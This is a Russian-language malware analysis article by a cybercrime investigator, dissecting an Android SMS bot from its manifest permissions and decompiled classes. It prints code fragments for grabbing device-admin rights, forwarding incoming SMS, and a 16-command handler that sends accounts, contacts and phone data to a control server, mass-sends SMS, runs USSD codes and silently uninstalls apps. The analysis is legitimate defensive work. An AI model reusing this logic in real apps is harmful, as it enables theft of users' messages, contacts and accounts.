Анализ sms-бота для Android. Часть II

17b986af17734264a9bad2ce1fa804dc.jpgВступление Еще один бот под Android, рассылаемый по «красивым» номерам вида 8***1112233 и т.д. Смской приходит ссылка вида: «Посмотрите, что о Вас известно или Информация для владельца и т.д. названиесайта.ру/8***1112233«Процесс вскрытия Android-приложений: Скачиваем APK-файл; Извлекаем файл манифеста; Декомпилируем приложение в читаемый исходный или байт-код; Анализируем манифест и код. Джентльменский набор инструментов: Apktool — Используем для того чтобы вытащить манифест и ресурсы; Dex2jar — Декомпилируем APK-файл в байт-код; Jd-gui — Байт-код переводим в читабельный код. Читаем манифест В манифесте сразу бросаются в глаза следующие строчки кода: ….Из среза манифеста становится понятно что собирается делать бот:

Получать и обрабатывать все входящие СМС; Будет что-то выполнять при перезагрузке устройства; Попытается получить права администратора устройства; И запускает какой-то сервис. Скорее всего этот сервис будет ждать поступления новых команд (например, управляющего сервера); Далее, по манифесту: Невооруженным глазом видно, что наш бот хочет получить разрешения на:

Запуск после ребута; Получение аккаунтов; Получение/отправку/написание/чтение СМС-ок; Получение состояния телефона; Интернет; Итак, уже примерно проясняются намерения бота.Mainactivity.java Теперь переходим к анализу классов. Их у нашего бота 17 штук.После анализа каждого из них я пришел к выводу самые основные, то есть заслуживающие внимание, из них следующие: MainActivity.java; Runservice.java; IncomingSmsReceiver.java; HandlerCMD.java; В выше указанных классах сосредоточена основная логика бота, остальные классы — вспомогательные.Посмотрим, что есть в классе MainActivity.В ниже указанном, коде бот пытается получить права Админа: this.devicePolicyManager = ((DevicePolicyManager)getSystemService («device_policy»)); if (! this.devicePolicyManager.isAdminActive (this.adminReceiver)){GetAdministrator localGetAdministrator = new GetAdministrator (); localGetAdministrator.execute (new Void[0]); return;}

Далее, при закрытии программы он попытается запустить класс сервиса (о нем поговорим чуть ниже): Class localClass = Class.forName («com.driver.android.system.RunService»); Intent localIntent = new Intent (this, localClass); startService (localIntent);

RunService.java Из названия данного класса становится понятно, что он делает. Да, он запускает сервис, который: проверяет свой статус; получает команды от управляющего сервера и запускает обрабатывающий хэндлер; проверяет исходящие СМС каждые 60 секунд; блокирует звонки номеров, которые занесены в черный список бота; отправляет на сервер все исходящие СМС-ки. IncomingSmsReceiver.java Данный класс используется как BroadcastReceiver. Из названия понятно, что данный класс нужен для получения входящих СМС-ок и отправки их содержимого на сервер. Вот подтверждающий срез кода: localHashMap.put («addmsg», localStringBuffer3.append (localStringBuffer4.append (localStringBuffer5.append (localStringBuffer6.append (localStringBuffer7.append (»-->\nОтправитель:»).append (str1).toString ()).append (»\nТекст сообщения:»).toString ()).append (str2).toString ()).append (»\nДата:»).toString ()).append (str5).toString () + »\n-->\n\n»); SendNewSMS localSendNewSMS = new SendNewSMS (paramContext); localSendNewSMS.execute (new HashMap[] { localHashMap }); HandlerCMD.java По моему мнению, это самый интересный класс. Тут явно можно увидеть все функции которые выполняет бот. Данный класс тесно взаимодействует с классом Command.java, в котором расписаны действия каждой из команд. Управляющий сервер отправляет команды в виде массива строк. Хэндлер его обрабатывает и проверяет первый элемент массива paramArrayOfString[0] на наличие значения от »1» до »16». А теперь давайте пройдемся по каждой функции.При получении »1» отправка СМС на определенный номерif (str1.equals (»1») == true){Commands localCommands1 = new Commands (this.context); localCommands1.smska (paramArrayOfString);}

Установка нового IP-адреса сетиif (str1.equals (»2») == true){…localCommands2.newIp (paramArrayOfString[1].trim ()); … }

Проверить на права админа и отправить результат на серверif (str1.equals (»3») == true){…if (localCommands3.getAdministrator ()) {}…localSendPostData1.execute («http://» + this.server_ip, localHashMap1); … }

Отправка на сервер всех онлайн аккаунтов пользователяif (str1.equals (»4») == true){…String str4 = localCommands4.getAllAccounts (); …localSendPostData2.execute («http://» + this.server_ip, localHashMap2); … }

Отправка на сервер список установленных приложенийif (str1.equals (»5») == true){…String str5 = localCommands5.getInstallApps (); …localSendPostData3.execute («http://» + this.server_ip, localHashMap3); … }

Очистка «черного списка«if (str1.equals (»6») == true){ …localCommands6.clearBL (); … }

Получить от сервера текст СМС-ки и разослать абонентам из локальной адресной книгиif (str1.equals (»7») == true){ …localCommands7.deliveryPhoneBook (paramArrayOfString); … }

Разослать СМС-ки по списку номеров полученных от сервераif (str1.equals (»8») == true){ …localCommands8.deliveryFromBase (paramArrayOfString); … }

Получить все номера абонентов и отправить на серверif (str1.equals (»9») == true){PhoneBook localPhoneBook = new PhoneBook (this.context); ArrayList localArrayList = localPhoneBook.getNumbers (); …localSendPostData4.execute («http://» + this.server_ip, localHashMap4); … }

Отправить на сервер информацию о операторе сотовой связиif (str1.equals (»10») == true){ …String str7 = localCommands9.getProvider (); …localSendPostData5.execute («http://» + this.server_ip, localHashMap5); … }

Отправить на сервер версии приложенийif (str1.equals (»11») == true){ …String str8 = localCommands10.getVersionApp (); …localSendPostData6.execute («http://» + this.server_ip, localHashMap6); … }

Отправить версию Андроидаif (str1.equals (»12») == true){ …String str9 = localCommands11.getVersionOS (); …localSendPostData7.execute («http://» + this.server_ip, localHashMap7); … }

Отправить код страныif (str1.equals (»13») == true){ …String str10 = localCommands12.getCountry (); …localSendPostData8.execute («http://» + this.server_ip, localHashMap8); … }

Отправить номер телефона устройстваif (str1.equals (»14») == true){ …String str11 = localCommands13.getPhoneNumber (); …localSendPostData9.execute («http://» + this.server_ip, localHashMap9); … }

Получение от сервера и исполнение, а также отправка результата выполнения USSD-сообщенийif (str1.equals (»15») == true){ …localCommands14.USSD (paramArrayOfString); … }

Удаление приложения в теневом режимеif (str1.equals (»16») == true){Commands localCommands15 = new Commands (this.context); localCommands15.uninstallApp (paramArrayOfString); return;}

Выводы Подведем итоги анализа. Бот написан более грамотно, в отличии от предыдущего. Но так же есть огрехи в защите кода. Никакой обфускации и шифрования. Благодаря чему удалось увидеть в коде IP адреса сервера, на который бот отправляет и получает данные.Набиев Нурлан, отдел расследования киберпреступлений, PentestIT, Казахстан

© Habrahabr.ru